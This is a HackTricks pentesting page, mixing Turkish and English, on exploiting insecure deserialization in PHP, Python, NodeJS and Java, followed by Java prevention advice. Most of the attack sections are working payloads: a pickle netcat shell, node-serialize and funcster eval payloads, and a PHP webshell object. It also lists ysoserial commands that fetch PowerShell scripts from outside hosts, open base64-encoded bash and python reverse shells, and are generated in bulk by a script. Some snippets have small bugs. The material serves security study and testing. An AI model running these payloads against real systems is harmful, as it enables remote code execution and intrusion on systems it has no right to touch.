Deserialization

Reading time: 40 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Serialization bir nesnenin saklanabilir veya iletişim sürecinde iletilebilir bir formata dönüştürülme yöntemi olarak anlaşılır. Bu teknik genellikle nesnenin yapısını ve durumunu koruyarak ileride yeniden oluşturulabilmesi amacıyla kullanılır.

Deserialization ise bunun tersidir. Belirli bir formatta düzenlenmiş veriyi alıp tekrar bir nesne haline getirme sürecini içerir.

Deserialization tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş veriyi manipüle ederek zararlı kod çalıştırmasına veya nesnenin yeniden oluşturulması sırasında uygulamada beklenmeyen davranışlara yol açmasına izin verir.

PHP

PHP'de, serileştirme ve deserileştirme süreçleri sırasında belirli sihirli metotlar kullanılır:

  • __sleep: Bir nesne serileştirilirken çağrılır. Bu metot, serileştirilmesi gereken nesnenin tüm özelliklerinin isimlerini içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizlik görevleri için kullanılır.
  • __wakeup: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.
  • __unserialize: Bir nesne deserileştirilirken (varsa) __wakeup yerine çağrılan metottur. __wakeup'a kıyasla deserileştirme süreci üzerinde daha fazla kontrol sağlar.
  • __destruct: Bir nesne yok edilmek üzereyken veya betik sonlandığında çağrılan metottur. Genellikle dosya işleyicilerini veya veritabanı bağlantılarını kapatma gibi temizlik görevleri için kullanılır.
  • __toString: Bir nesnenin string gibi davranmasını sağlar. İçindeki fonksiyon çağrılarına bağlı olarak bir dosya okunması veya benzeri görevler için kullanılabilir; nesnenin metinsel bir temsilini sunar.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Sonuçlara bakarsanız, nesne deserialize edildiğinde __wakeup ve __destruct fonksiyonlarının çağrıldığını görebilirsiniz. Bazı eğitimlerde bir attribute'ü yazdırmaya çalışırken __toString fonksiyonunun çağrıldığı belirtilir; ancak görünüşe göre artık bu gerçekleşmiyor.

warning

Eğer sınıfta uygulanmışsa, __unserialize(array $data) metodu __wakeup() yerine çağrılır. Bu metod, serileştirilmiş veriyi bir dizi olarak sağlayarak nesnenin unserialize edilmesine izin verir. Bu metodu, özellikleri unserialize etmek ve deserializasyon sırasında gerekli işlemleri yapmak için kullanabilirsiniz.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Açıklamalı bir PHP örneğini burada okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, burada https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya burada https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Sınıfları

PHP autoload işlevini keyfi php dosyalarını yüklemek ve daha fazlası için suistimal edebilirsiniz:

PHP - Deserialization + Autoload Classes

Referanslı Değerleri Serileştirme

Eğer bir değeri başka bir serileştirilmiş değere referans olarak serileştirmek istiyorsanız, şunu yapabilirsiniz:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHP Object Injection'ı allowed_classes ile Önleme

info

unserialize()'ün ikinci argümanı ($options dizisi) desteği PHP 7.0'de eklendi. Eski sürümlerde fonksiyon yalnızca serileştirilmiş stringi kabul eder; bu, hangi sınıfların örneklenebileceğini kısıtlamayı imkansız kılar.

unserialize() serileştirilmiş akış içinde bulduğu her sınıfı örnekler aksi belirtilmedikçe. PHP 7'den beri bu davranış allowed_classes seçeneği ile kısıtlanabilir:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Eğer allowed_classes atlanır veya kod PHP < 7.0 üzerinde çalışıyorsa, bu çağrı tehlikeli hale gelir; çünkü saldırgan __wakeup() veya __destruct() gibi magic methods'ları kötüye kullanarak payload hazırlayıp Remote Code Execution (RCE) gerçekleştirebilir.

Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709

WordPress eklentisi Everest Forms ≤ 3.2.2 bir yardımcı wrapper ile savunma yapmaya çalışmış ama eski PHP sürümlerini unutmuştu:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Hâlâ PHP ≤ 7.0 çalıştıran sunucularda bu ikinci dal, bir yönetici zararlı bir form gönderimini açtığında klasik bir PHP Object Injection'a yol açıyordu. Minimal bir exploit payload şu şekilde görünebilir:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Admin girdiyi görüntülediği anda nesne örneklendi ve SomeClass::__destruct() çalıştırıldı; bu da keyfi kod yürütülmesine yol açtı.

Çıkarımlar

  1. Her zaman unserialize() çağırırken ['allowed_classes' => false] (veya sıkı bir white-list) verin.
  2. Defansif wrapper'ları denetleyin – genellikle eski PHP dallarını unuturlar.
  3. Sadece PHP ≥ 7.x'e yükseltmek yeterli değildir: seçenek yine de açıkça sağlanmalıdır.

PHPGGC (ysoserial for PHP)

PHPGGC PHP deserileştirmelerini kötüye kullanmak için payload oluşturmanıza yardımcı olabilir.
Çoğu durumda uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu bulamayabilirsiniz ancak dış PHP extension'larının kodunu kötüye kullanabiliyor olabilirsiniz.
Bu yüzden mümkünse sunucunun phpinfo()'sini kontrol edin ve internet üzerinde arama yapın (hatta PHPGGC'nin gadgets'larında) kötüye kullanabileceğiniz bazı olası gadget'ları bulun.

phar:// metadata deserialization

Eğer bir LFI bulduysanız ve bu LFI dosyayı sadece okuyorsa ve içindeki php kodunu çalıştırmıyorsa, örneğin file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). phar protokolünü kullanarak bir dosya okunurken gerçekleşen bir deserileştirmeyi kötüye kullanmayı deneyebilirsiniz.
Daha fazla bilgi için aşağıdaki gönderiyi okuyun:

phar:// deserialization

Python

Pickle

Nesne unpickle edildiğinde, fonksiyon ___reduce___ çalıştırılacaktır.
Kötüye kullanıldığında sunucu bir hata döndürebilir.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız python2 ile uyumlu bir obje üretmek için print(base64.b64encode(pickle.dumps(P(),2))) kullanmayı deneyin.

Daha fazla bilgi için pickle jails'ten kaçış hakkında bakın:

Bypass Python sandboxes

Yaml & jsonpickle

Aşağıdaki sayfa, yamls python kütüphanelerinde güvensiz deserialization'ı suistimal etme tekniğini anlatır ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE deserialization payload oluşturmakta kullanılabilecek bir araçla sona erer:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS, PHP veya Python gibi sadece bir obje oluşturulması için yürütülecek "magic" fonksiyonlara sahip değildir. Ancak toString, valueOf, toJSON gibi doğrudan çağrılmasalar bile sıkça kullanılan bazı fonksiyonlara sahiptir.
Eğer bir deserialization'ı suistimal ederseniz, bu fonksiyonları diğer kodları yürütmek üzere ele geçirerek (muhtemelen prototype pollutions'ı suistimal ederek) çağrıldıklarında rastgele kod çalıştırabilirsiniz.

Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Bu teknik hakkında bilgi edinmek istiyorsanız aşağıdaki eğitime göz atın:

NodeJS - proto & prototype Pollution

node-serialize

Bu kütüphane fonksiyonları serileştirmeye izin verir. Örnek:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Serileştirilmiş nesne şu şekilde görünecek:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input is being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly olası değil.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Daha önce belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_ sonrasındaki kodu alır ve eval kullanarak çalıştırır. Bu yüzden, kodu otomatik çalıştırmak için fonksiyon oluşturma kısmını ve son parantezi silebilir ve aşağıdaki örnekte olduğu gibi sadece bir JS oneliner çalıştırabilirsiniz:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here daha fazla bilgi about how to exploit this vulnerability.

funcster

funcster'ın kayda değer bir yönü, standard built-in objects'un erişilemez olmasıdır; bunlar erişilebilir kapsamın dışında kalırlar. Bu kısıtlama, yerleşik nesnelerin metodlarını çağırmaya çalışan kodların çalışmasını engeller ve console.log() veya require(something) gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara yol açar.

Bu sınırlamaya rağmen, tüm standard built-in objects dahil olmak üzere global context'e tam erişimin geri getirilmesi belirli bir yaklaşımla mümkündür. Global context'e doğrudan erişimi kullanarak bu kısıtlamayı aşabilirsiniz. Örneğin, erişim aşağıdaki snippet ile yeniden sağlanabilir:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Daha fazla bilgi için bu kaynağı okuyun.

serialize-javascript

serialize-javascript paketi yalnızca serialization amaçları için tasarlanmıştır; yerleşik herhangi bir deserialization yeteneğine sahip değildir. Kullanıcılar deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmî örnekte serialized verileri deserialize etmek için doğrudan eval kullanımı önerilmektedir:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Bu fonksiyon objects'i deserialize etmek için kullanılıyorsa, bunu kolayca exploit edebilirsiniz:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Daha fazla bilgi için more information read this source.

Cryo kütüphanesi

Aşağıdaki sayfalarda bu kütüphaneyi keyfi komutlar yürütmek için nasıl kötüye kullanabileceğinize dair bilgiler bulabilirsiniz:

Java - HTTP

Java'da, deserialization callbacks deserialization işlemi sırasında yürütülür. Bu yürütme, bu callback'leri tetikleyen kötü amaçlı payload'lar oluşturan saldırganlar tarafından suistimal edilebilir ve zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.

İmzalar

White Box

Kod tabanında potansiyel serialization zafiyetlerini tespit etmek için arayın:

  • Serializable arayüzünü uygulayan sınıflar.
  • java.io.ObjectInputStream, readObject, readUnshare fonksiyonlarının kullanımı.

Özellikle dikkat edin:

  • Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan XMLDecoder.
  • XStream'in fromXML metodu, özellikle XStream sürümü 1.46 veya daha eskiyse, serialization sorunlarına açıktır.
  • ObjectInputStream ile birlikte readObject metodunun kullanımı.
  • readObject, readObjectNodData, readResolve veya readExternal gibi yöntemlerin uygulanması.
  • ObjectInputStream.readUnshared.
  • Genel olarak Serializable kullanımı.

Black Box

Black box testing için, java serialized objects'ı (kaynak: ObjectInputStream) gösteren belirli signatures veya "Magic Bytes"'ı arayın:

  • Onaltılık desen: AC ED 00 05.
  • Base64 desen: rO0.
  • HTTP response header'larında Content-type'ın application/x-java-serialized-object olarak ayarlanması.
  • Önceden sıkıştırma olduğunu gösteren onaltılık desen: 1F 8B 08 00.
  • Önceden sıkıştırma olduğunu gösteren Base64 desen: H4sIA.
  • .faces uzantılı web dosyaları ve faces.ViewState parametresi. Bu desenlerin bir web uygulamasında bulunması, post about Java JSF ViewState Deserialization'de detaylandırıldığı gibi bir inceleme yapılmasını gerektirmelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Açık olup olmadığını kontrol et

Java Deserialized exploit'in nasıl çalıştığını öğrenmek istiyorsanız, şunlara bakın: Basic Java Deserialization, Java DNS Deserialization, ve CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Modern kod tabanları bazen deserialization'ı java.security.SignedObject ile sarar ve iç nesneyi deserialize eden getObject() çağrısından önce imzayı doğrular. Bu, rastgele top-level gadget classes'ı engeller ancak bir saldırgan geçerli bir imza elde edebilirse (örn. private-key compromise veya bir signing oracle) hâlâ exploitable olabilir. Ayrıca, hata-işleme akışları kimliği doğrulanmamış kullanıcılar için session-bound token'lar mint edebilir ve böylece aksi halde korunan sinks'leri pre-auth durumda açığa çıkarabilir.

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to tüm bilinen ve Ysoserial için exploit sağlayabilen kütüphaneleri kontrol etmeyi. Ya da Java-Deserialization-Cheat-Sheet üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.
Ayrıca istismar edilebilecek olası gadget zincirlerini aramak için gadgetinspector kullanabilirsiniz.
gadgetinspector'ı (build ettikten sonra) çalıştırırken karşısına çıkan çok sayıda uyarı/hata ile ilgilenmeyin ve bitmesine izin verin. Tüm bulguları gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt altında yazacaktır. Lütfen dikkat edin ki gadgetinspector bir exploit oluşturmaz ve yanlış pozitifler gösterebilir.

Black Box Test

Burp eklentisi gadgetprobe kullanarak hangi kütüphanelerin mevcut olduğunu (hatta sürümlerini) tespit edebilirsiniz. Bu bilgiyle zafiyeti istismar etmek için bir payload seçmek daha kolay olabilir.
GadgetProbe hakkında daha fazla bilgi için burayı okuyun.
GadgetProbe ObjectInputStream deserializations üzerine odaklanır.

Burp eklentisi Java Deserialization Scanner ile ysoserial ile istismar edilebilen vulnerable libraries'i tespit edebilir ve bunları exploit edebilirsiniz.
Java Deserialization Scanner hakkında daha fazla bilgi için burayı okuyun.
Java Deserialization Scanner ObjectInputStream deserializations üzerine odaklanır.

Ayrıca Freddy kullanarak Burp içinde deserializations zafiyetlerini tespit edebilirsiniz. Bu eklenti sadece ObjectInputStream ile ilgili zafiyetleri değil aynı zamanda Json ve Yml deserialization kütüphanelerinden kaynaklanan zafiyetleri de tespit eder. Aktif modda, bunları sleep veya DNS payload'ları kullanarak doğrulamaya çalışır.
Freddy hakkında daha fazla bilgiyi burada bulabilirsiniz.

Serialization Test

Her şey sunucunun herhangi bir zafiyetli kütüphane kullanıp kullanmadığını kontrol etmekle ilgili değildir. Bazen serileştirilmiş nesnenin içindeki verileri değiştirip bazı kontrolleri atlayabilir (örneğin bir webapp içinde size admin yetkisi verebilir).
Eğer bir java serialized object'in bir web uygulamasına gönderildiğini görürseniz, gönderilen serileştirme nesnesini daha insan okunabilir bir formatta yazdırmak için SerializationDumper kullanabilirsiniz. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştırır.

Exploit

ysoserial

Java deserializations'ı istismar etmek için ana araç ysoserial (download here)'dır. Ayrıca kompleks komutları (örneğin pipe içeren) kullanmanıza izin veren ysoseral-modified seçeneğini de düşünebilirsiniz.
Bu aracın ObjectInputStream'i istismar etmeye odaklı olduğunu unutmayın.
Enjeksiyonun mümkün olup olmadığını test etmek için bir RCE payload'tan önce "URLDNS" payload'ını kullanmaya başlamanızı tavsiye ederim. Yine de, "URLDNS" payload'ı çalışmayabilir ama başka bir RCE payload'ı çalışabilir.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() için bir payload oluştururken yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi özel karakterleri kullanamazsınız, komut çalıştırmak için "$()"'ı veya bir komuta boşluklarla ayrılmış argümanları geçiremezsiniz (örneğin echo -n "hello world" yapabilirsiniz ama python2 -c 'print "Hello world"' yapamazsınız). Payload'ı doğru şekilde encode etmek için use this webpage kullanabilirsiniz.

Aşağıdaki script'i kullanarak Windows ve Linux için all the possible code execution payload'larının tamamını oluşturup zafiyetli web sayfasında test edebilirsiniz:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Bu https://github.com/pwntester/SerialKillerBypassGadgetCollection adresini ysoserial ile birlikte kullanarak daha fazla exploit oluşturabilirsiniz. Araç hakkında daha fazla bilgi, aracın tanıtıldığı konuşmanın slaytlarında bulunuyor: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec farklı Json ve Yml serialization kütüphanelerini Java'da exploit etmek için payload üretmek amacıyla kullanılabilir.
Projeyi derlemek için pom.xml dosyasına bu dependencies'leri eklemem gerekti:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven'i yükleyin, ve projeyi derleyin:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java çeşitli amaçlar için yoğun şekilde serialization kullanır, örneğin:

  • HTTP requests: Serialization, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılır.
  • RMI (Remote Method Invocation): Java RMI protokolü, tamamen serialization'a dayanan, Java uygulamalarında uzak iletişim için temel taşlardan biridir.
  • RMI over HTTP: Bu yöntem genellikle Java tabanlı thick client web uygulamaları tarafından kullanılır ve tüm nesne iletişimleri için serialization'dan yararlanır.
  • JMX (Java Management Extensions): JMX, nesneleri ağ üzerinden göndermek için serialization kullanır.
  • Custom Protocols: Java'da standart uygulama ham Java nesnelerinin iletimi şeklindedir; bu, sonraki exploit örneklerinde gösterilecektir.

Prevention

Transient objects

Serializable implement eden bir sınıf, sınıf içinde serializable olmaması gereken herhangi bir nesneyi transient olarak işaretleyebilir. Örneğin:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable'ı implement etmek zorunda olan bir sınıfın serileştirilmesinden kaçının

Belirli nesnelerin Serializable arayüzünü sınıf hiyerarşisi nedeniyle uygulaması gerektiği durumlarda, istem dışı deserialization riski vardır. Bunu önlemek için bu nesnelerin deserialize edilemez olmasını sağlayın; bunun için her zaman bir istisna fırlatan final readObject() yöntemi tanımlayın, aşağıda gösterildiği gibi:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java'da Deserialization Güvenliğini Artırma

java.io.ObjectInputStream'i özelleştirme, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem aşağıdaki durumlarda uygundur:

  • Deserialization kodu sizin kontrolünüz altındaysa.
  • Deserialization için beklenen sınıflar biliniyorsa.

Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için resolveClass() metodunu override edin. Bu, açıkça izin verilenler dışında herhangi bir sınıfın deserialization'ını engeller; örneğin aşağıdaki örnek deserialization'ı yalnızca Bicycle sınıfıyla sınırlar:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement kod değişikliği mümkün olmadığında bir yedek çözüm sunar. Bu yöntem, JVM parametresi kullanarak öncelikle blacklisting harmful classes için uygulanır:

-javaagent:name-of-agent.jar

Bu, anlık kod değişikliklerinin pratik olmadığı ortamlarda ideal olan, deserialization'ı dinamik olarak güvence altına almanın bir yolunu sağlar.

Bir örnek için bakın: rO0 by Contrast Security

Implementing Serialization Filters: Java 9, ObjectInputFilter arayüzü aracılığıyla serialization filters'ı tanıttı; bu, serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirtmek için güçlü bir mekanizma sağlar. Bu filtreler global olarak veya her bir stream için uygulanabilir ve deserialization süreci üzerinde ayrıntılı kontrol sunar.

